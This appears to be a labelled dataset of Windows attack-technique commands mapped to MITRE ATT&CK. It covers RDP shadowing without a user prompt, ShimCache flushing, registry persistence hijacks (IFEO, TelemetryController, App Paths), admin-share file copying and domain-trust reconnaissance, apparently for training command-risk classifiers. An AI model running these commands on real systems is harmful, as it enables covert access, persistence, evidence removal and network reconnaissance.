cowWhySo/permission-command-corpus huggingface dataset:
Command: $s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom) Get-CimInstance -Namespace ROOT\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName="Remote Desktop - Shadow (TCP-In)"' -CimSession $s | Invoke-CimMethod -MethodName Enable Invoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName="Software\Policies\Microsoft\Windows NT\Terminal Services"; sValueName="shadow"; uValue=[uint32]2} -CimSession $s
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Setting Shadow key in Registry for RDP Shadowing
Notes: Microsoft Remote Desktop Protocol (RDP) supports a “shadowing” feature and RDP is available in all Windows Server Operating Systems and the business editions of end-user Windows versions.
In order to use the RDP shadowing feature, the Remote Desktop Services (TermService) service needs to be running (which it does by default), a rule needs to be enabled in the Windows Firewall and in case of stealth reasons, a setting needs to be configured to not prompt the user for permission when they are bei
Command: Invoke-CimMethod -ClassName StdRegProv -MethodName DeleteValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName="Software\Policies\Microsoft\Windows NT\Terminal Services"; sValueName="Shadow"} -CimSession $s
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Setting Shadow key in Registry for RDP Shadowing
Notes: Microsoft Remote Desktop Protocol (RDP) supports a “shadowing” feature and RDP is available in all Windows Server Operating Systems and the business editions of end-user Windows versions.
In order to use the RDP shadowing feature, the Remote Desktop Services (TermService) service needs to be running (which it does by default), a rule needs to be enabled in the Windows Firewall and in case of stealth reasons, a setting needs to be configured to not prompt the user for permission when they are bei
Command: Rundll32.exe apphelp.dll,ShimFlushCache
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Flush Shimcache
Notes: The ShimCache is a component in Windows operating systems that stores information about recently executed applications. It is used by the operating system to speed up the launching process of applications. The ShimCache is also used by IR teams and Forensic teams. Forensic investigators can use the ShimCache to determine which programs have been executed on a system, even if they have been deleted or their logs have been cleared.Reference : https://blueteamops.medium.com/shimcache-flush-89daff28
Command: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Remote Desktop Protocol
Notes: Modify the registry of the machine to disable remote desktop protocol.
Command: reg delete "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Disable Windows Remote Desktop Protocol
Notes: Modify the registry of the machine to disable remote desktop protocol.
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v scforceoption /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Enforce Smart Card Authentication Through Registry
Notes: Enforce Smart Card Authentication Through Registry
Command: reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v scforceoption /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Enforce Smart Card Authentication Through Registry
Notes: Enforce Smart Card Authentication Through Registry
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseAdvancedStartup /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Requires the BitLocker PIN for Pre-boot authentication
Notes: Requires the BitLocker PIN for Pre-boot authentication
Command: reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseAdvancedStartup /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Requires the BitLocker PIN for Pre-boot authentication
Notes: Requires the BitLocker PIN for Pre-boot authentication
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableBDEWithNoTPM /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify EnableBDEWithNoTPM Registry entry
Notes: Allow BitLocker without a compatible TPM (requires a password)
Command: reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v EnableBDEWithNoTPM /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify EnableBDEWithNoTPM Registry entry
Notes: Allow BitLocker without a compatible TPM (requires a password)
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPM /t REG_DWORD /d 2 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UseTPM Registry entry
Notes: Use Trusted Platform Module (TPM) for Bitlocker tool
Command: reg delete ""HKLM\SOFTWARE\Policies\Microsoft\FVE"" /v UseTPM /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UseTPM Registry entry
Notes: Use Trusted Platform Module (TPM) for Bitlocker tool
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN /t REG_DWORD /d 2 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UseTPMPIN Registry entry
Notes: Allow startup PIN with TPM for Bitlocker tool
Command: reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMPIN /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UseTPMPIN Registry entry
Notes: Allow startup PIN with TPM for Bitlocker tool
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey /t REG_DWORD /d 2 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UseTPMKey Registry entry
Notes: Allow startup key with TPM for Bitlocker tool
Command: reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKey /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UseTPMKey Registry entry
Notes: Allow startup key with TPM for Bitlocker tool
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKeyPIN /t REG_DWORD /d 2 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UseTPMKeyPIN Registry entry
Notes: Allow startup key and PIN with TPM for Bitlocker tool
Command: reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UseTPMKeyPIN /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UseTPMKeyPIN Registry entry
Notes: Allow startup key and PIN with TPM for Bitlocker tool
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableNonTPM /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify EnableNonTPM Registry entry
Notes: Allow Bitlocker without TPM for Bitlocker tool
Command: reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v EnableNonTPM /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify EnableNonTPM Registry entry
Notes: Allow Bitlocker without TPM for Bitlocker tool
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePartialEncryptionKey /t REG_DWORD /d 2 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UsePartialEncryptionKey Registry entry
Notes: Allow startup key with TPM for Bitlocker tool
Command: reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePartialEncryptionKey /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UsePartialEncryptionKey Registry entry
Notes: Allow startup key with TPM for Bitlocker tool
Command: reg add "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePIN /t REG_DWORD /d 2 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UsePIN Registry entry
Notes: Allow startup PIN with TPM for Bitlocker tool
Command: reg delete "HKLM\SOFTWARE\Policies\Microsoft\FVE" /v UsePIN /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify UsePIN Registry entry
Notes: Allow startup PIN with TPM for Bitlocker tool
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\#{new_key}" /t REG_SZ /v Command /d #{new_executable} /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Abusing Windows TelemetryController Registry Key for Persistence
Notes: The Windows Compatibility Telemetry system makes use of the CompatTelRunner.exe binary to run a variety of telemetry tasks. It relies on the registry for instructions on which commands to run. 
It will run any arbitrary command without restriction of location or type. Blog :https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence
Command: reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\#{new_key}" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Abusing Windows TelemetryController Registry Key for Persistence
Notes: The Windows Compatibility Telemetry system makes use of the CompatTelRunner.exe binary to run a variety of telemetry tasks. It relies on the registry for instructions on which commands to run. 
It will run any arbitrary command without restriction of location or type. Blog :https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence
Command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v fInheritInitialProgram /t REG_DWORD /d 1 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify RDP-Tcp Initial Program Registry Entry
Notes: If the fInheritInitialProgram value is set to 1, the exe indicated in the InitialProgram value is automatically started on RDP connection.
Once the test commands are run, notepad will execute automatically on new RDP connection
Command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v InitialProgram /t REG_SZ /d "" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Modify RDP-Tcp Initial Program Registry Entry
Notes: If the fInheritInitialProgram value is set to 1, the exe indicated in the InitialProgram value is automatically started on RDP connection.
Once the test commands are run, notepad will execute automatically on new RDP connection
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\cleanuppath" /t REG_EXPAND_SZ /d "%systemroot%\system32\notepad.exe" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Abusing MyComputer Disk Cleanup Path for Persistence
Notes: Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\cleanuppath" /t REG_EXPAND_SZ /d "%SystemRoot%\System32\cleanmgr.exe /D %c" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Abusing MyComputer Disk Cleanup Path for Persistence
Notes: Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\DefragPath" /t REG_EXPAND_SZ /d "%systemroot%\system32\notepad.exe" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Abusing MyComputer Disk Fragmentation Path for Persistence
Notes: Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\DefragPath" /t REG_EXPAND_SZ /d "%systemroot%\system32\dfrgui.exe" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Abusing MyComputer Disk Fragmentation Path for Persistence
Notes: Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\BackupPath" /t REG_EXPAND_SZ /d "%systemroot%\system32\notepad.exe" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Abusing MyComputer Disk Backup Path for Persistence
Notes: Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
Command: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\BackupPath" /t REG_EXPAND_SZ /d "%SystemRoot%\system32\sdclt.exe" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Abusing MyComputer Disk Backup Path for Persistence
Notes: Replacing the registry settings with custom executable will end up with the replacement programs being executed at the time OS will decide to kick off the respective activity
Command: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}" /t REG_SZ /d #{new_path} /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Adding custom paths for application execution
Notes: As per Microsoft,the entries found under App Paths are used primarily to map an application’s executable file name to that file’s fully qualified path and to pre-pend information to the PATH environment variable on a per-application, per-process basis. 
The path can be modified to load a custom application of choice. 
Post the registry changes of this test, when someone tries to manually run msedge.exe via StartMenu/Run window , notepad will be launched.
Command: reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}" /v (Default) /f reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\#{app_name}" /t REG_SZ /d "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1112
Platform: windows
ATT&CK tags: T1112
Source rule: Adding custom paths for application execution
Notes: As per Microsoft,the entries found under App Paths are used primarily to map an application’s executable file name to that file’s fully qualified path and to pre-pend information to the PATH environment variable on a per-application, per-process basis. 
The path can be modified to load a custom application of choice. 
Post the registry changes of this test, when someone tries to manually run msedge.exe via StartMenu/Run window , notepad will be launched.
Command: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.012
Platform: windows
ATT&CK tags: T1546.012
Source rule: IFEO Add Debugger
Notes: Leverage Global Flags Settings
Command: reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.012
Platform: windows
ATT&CK tags: T1546.012
Source rule: IFEO Add Debugger
Notes: Leverage Global Flags Settings
Command: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.012
Platform: windows
ATT&CK tags: T1546.012
Source rule: IFEO Global Flags
Notes: Leverage Global Flags Settings
Command: reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.012
Platform: windows
ATT&CK tags: T1546.012
Source rule: IFEO Global Flags
Notes: Leverage Global Flags Settings
Command: $SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{process}" Remove-Item $SilentProcessExit -force $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{process}" Remove-Item $registryPath -force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.012
Platform: windows
ATT&CK tags: T1546.012
Source rule: GlobalFlags in Image File Execution Options
Notes: The following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed.
Upon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value. 
Upon successful execution, powershell will modify the registry and sp
Command: copy \\#{remote}\C$\#{share_file} %TEMP%\#{local_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1039
Platform: windows
ATT&CK tags: T1039
Source rule: Copy a sensitive File over Administrative share with copy
Notes: Copy from sensitive File from the c$ of another LAN computer with copy cmd
https://twitter.com/SBousseaden/status/1211636381086339073
Command: del \\#{remote}\C$\#{share_file} del %TEMP%\#{local_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1039
Platform: windows
ATT&CK tags: T1039
Source rule: Copy a sensitive File over Administrative share with copy
Notes: Copy from sensitive File from the c$ of another LAN computer with copy cmd
https://twitter.com/SBousseaden/status/1211636381086339073
Command: copy-item -Path "\\#{remote}\C$\#{share_file}" -Destination "$Env:TEMP\#{local_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1039
Platform: windows
ATT&CK tags: T1039
Source rule: Copy a sensitive File over Administrative share with Powershell
Notes: Copy from sensitive File from the c$ of another LAN computer with powershell
https://twitter.com/SBousseaden/status/1211636381086339073
Command: Remove-Item -Path "\\#{remote}\C$\#{share_file}" Remove-Item -Path "$Env:TEMP\#{local_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1039
Platform: windows
ATT&CK tags: T1039
Source rule: Copy a sensitive File over Administrative share with Powershell
Notes: Copy from sensitive File from the c$ of another LAN computer with powershell
https://twitter.com/SBousseaden/status/1211636381086339073
Command: dsquery * -filter "(objectClass=trustedDomain)" -attr *
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1482
Platform: windows
ATT&CK tags: T1482
Source rule: Windows - Discover domain trusts with dsquery
Notes: Uses the dsquery command to discover domain trusts.
Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role.
Command: nltest /domain_trusts nltest /trusted_domains
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1482
Platform: windows
ATT&CK tags: T1482
Source rule: Windows - Discover domain trusts with nltest
Notes: Uses the nltest command to discover domain trusts.
Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role.
This technique has been used by the Trickbot malware family.
Command: Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1" Get-NetDomainTrust Get-NetForestTrust Get-ADDomain Get-ADGroupMember Administrators -Recursive ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1482
Platform: windows
ATT&CK tags: T1482
Source rule: Powershell enumerate domains and forests
Notes: Use powershell to enumerate AD information.
Requires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.
Command: "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=organizationalUnit) #{optional_args}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1482
Platform: windows
ATT&CK tags: T1482
Source rule: Adfind - Enumerate Active Directory OUs
Notes: Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory OUs
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
Command: "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -gcb -sc trustdmp
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1482
Platform: windows
ATT&CK tags: T1482
Source rule: Adfind - Enumerate Active Directory Trusts
Notes: Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Trusts
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html